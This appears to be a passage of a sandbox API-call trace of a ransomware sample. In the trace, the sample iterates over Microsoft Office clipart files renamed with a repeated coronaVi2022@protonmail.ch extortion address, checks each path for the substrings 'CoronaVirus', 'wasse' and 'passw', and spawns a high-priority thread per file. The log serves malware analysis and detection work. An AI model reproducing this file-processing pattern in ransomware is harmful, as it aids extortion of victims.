	[0093.515] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="passw") returned 0x0
	[0093.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa38
	[0093.516] SetThreadPriority (hThread=0xa38, nPriority=15) returned 1
	[0093.523] malloc (_Size=0x1000) returned 0x51f5098
	[0093.523] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif") returned 155
	[0093.523] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.525] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="wasse") returned 0x0
	[0093.525] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="passw") returned 0x0
	[0093.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa3c
	[0093.526] SetThreadPriority (hThread=0xa3c, nPriority=15) returned 1
	[0093.544] malloc (_Size=0x1000) returned 0x51f1078
	[0093.545] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif") returned 155
	[0093.545] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.545] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="wasse") returned 0x0
	[0093.545] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="passw") returned 0x0
	[0093.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa40
	[0093.545] SetThreadPriority (hThread=0xa40, nPriority=15) returned 1
	[0093.551] malloc (_Size=0x1000) returned 0x51f60a0
	[0093.554] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif") returned 155
	[0093.554] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.554] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="wasse") returned 0x0
	[0093.554] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="passw") returned 0x0
	[0093.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44
	[0093.555] SetThreadPriority (hThread=0xa44, nPriority=15) returned 1
	[0093.560] malloc (_Size=0x1000) returned 0x51f4090
	[0093.561] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif") returned 155
	[0093.561] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.561] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="wasse") returned 0x0
	[0093.561] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="passw") returned 0x0
	[0093.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48
	[0093.562] SetThreadPriority (hThread=0xa48, nPriority=15) returned 1
	[0093.573] malloc (_Size=0x1000) returned 0x51f4090
	[0093.573] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif") returned 155
	[0093.573] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.573] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="wasse") returned 0x0
	[0093.573] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="passw") returned 0x0
	[0093.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4c
	[0093.574] SetThreadPriority (hThread=0xa4c, nPriority=15) returned 1
	[0093.578] malloc (_Size=0x1000) returned 0x51f0070
	[0093.581] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif") returned 155
	[0093.581] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.581] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="wasse") returned 0x0
	[0093.581] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="passw") returned 0x0
	[0093.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50
	[0093.581] SetThreadPriority (hThread=0xa50, nPriority=15) returned 1
	[0093.585] malloc (_Size=0x1000) returned 0x51f3088
	[0093.585] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif") returned 155
	[0093.585] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.585] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="wasse") returned 0x0
	[0093.585] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="passw") returned 0x0
	[0093.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58
	[0093.589] SetThreadPriority (hThread=0xa58, nPriority=15) returned 1
	[0093.598] malloc (_Size=0x1000) returned 0x51f4090
	[0093.598] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif") returned 155
	[0093.598] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.598] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="wasse") returned 0x0
	[0093.598] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="passw") returned 0x0
	[0093.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c
	[0093.598] SetThreadPriority (hThread=0xa5c, nPriority=15) returned 1
	[0093.602] malloc (_Size=0x1000) returned 0x51f60a0
	[0093.605] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif") returned 155
	[0093.605] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.605] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="wasse") returned 0x0
	[0093.605] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="passw") returned 0x0
	[0093.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60
	[0093.606] SetThreadPriority (hThread=0xa60, nPriority=15) returned 1
	[0093.615] malloc (_Size=0x1000) returned 0x51f5098
	[0093.615] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif") returned 155
	[0093.615] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.615] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="wasse") returned 0x0
	[0093.615] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="passw") returned 0x0
	[0093.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa54
	[0093.615] SetThreadPriority (hThread=0xa54, nPriority=15) returned 1
	[0093.625] malloc (_Size=0x1000) returned 0x51f3088
	[0093.625] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif") returned 155
	[0093.625] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.625] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="wasse") returned 0x0
	[0093.625] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="passw") returned 0x0
	[0093.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64
	[0093.626] SetThreadPriority (hThread=0xa64, nPriority=15) returned 1
	[0093.640] malloc (_Size=0x1000) returned 0x51f0070
	[0093.640] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif") returned 155
	[0093.640] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.640] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="wasse") returned 0x0
	[0093.640] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="passw") returned 0x0
	[0093.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa68
	[0093.640] SetThreadPriority (hThread=0xa68, nPriority=15) returned 1
	[0093.647] malloc (_Size=0x1000) returned 0x51f0070
	[0093.647] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif") returned 155
	[0093.647] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.647] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="wasse") returned 0x0
	[0093.647] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="passw") returned 0x0
	[0093.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa6c
	[0093.648] SetThreadPriority (hThread=0xa6c, nPriority=15) returned 1
	[0093.655] malloc (_Size=0x1000) returned 0x51f1078
	[0093.655] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif") returned 155
	[0093.655] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.655] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="wasse") returned 0x0
	[0093.655] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="passw") returned 0x0
	[0093.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa70
	[0093.656] SetThreadPriority (hThread=0xa70, nPriority=15) returned 1
	[0093.662] malloc (_Size=0x1000) returned 0x51f0070
	[0093.662] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif") returned 155
	[0093.662] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.662] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="wasse") returned 0x0
	[0093.663] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="passw") returned 0x0
	[0093.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa74
	[0093.663] SetThreadPriority (hThread=0xa74, nPriority=15) returned 1
	[0093.665] malloc (_Size=0x1000) returned 0x51f80b0
	[0093.667] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif") returned 155
	[0093.668] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.670] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="wasse") returned 0x0
	[0093.670] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="passw") returned 0x0
	[0093.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f80b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa78
	[0093.670] SetThreadPriority (hThread=0xa78, nPriority=15) returned 1
	[0093.675] malloc (_Size=0x1000) returned 0x51f3088
	[0093.676] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif") returned 155
	[0093.677] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.677] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="wasse") returned 0x0
	[0093.677] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="passw") returned 0x0
	[0093.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa7c
	[0093.679] SetThreadPriority (hThread=0xa7c, nPriority=15) returned 1
	[0093.683] malloc (_Size=0x1000) returned 0x51f0070
	[0093.683] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif") returned 155
	[0093.685] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.685] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="wasse") returned 0x0
	[0093.686] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="passw") returned 0x0
	[0093.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa80
	[0093.686] SetThreadPriority (hThread=0xa80, nPriority=15) returned 1
	[0093.688] malloc (_Size=0x1000) returned 0x51f1078
	[0093.718] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif") returned 155
	[0093.718] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.718] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="wasse") returned 0x0
	[0093.718] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="passw") returned 0x0
	[0093.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa84
	[0093.719] SetThreadPriority (hThread=0xa84, nPriority=15) returned 1
	[0093.729] malloc (_Size=0x1000) returned 0x51f1078
	[0093.729] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif") returned 155
	[0093.729] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.729] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="wasse") returned 0x0
	[0093.729] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="passw") returned 0x0
	[0093.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa88
	[0093.729] SetThreadPriority (hThread=0xa88, nPriority=15) returned 1
	[0093.739] malloc (_Size=0x1000) returned 0x51f3088
	[0093.739] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif") returned 155
	[0093.739] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.739] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="wasse") returned 0x0
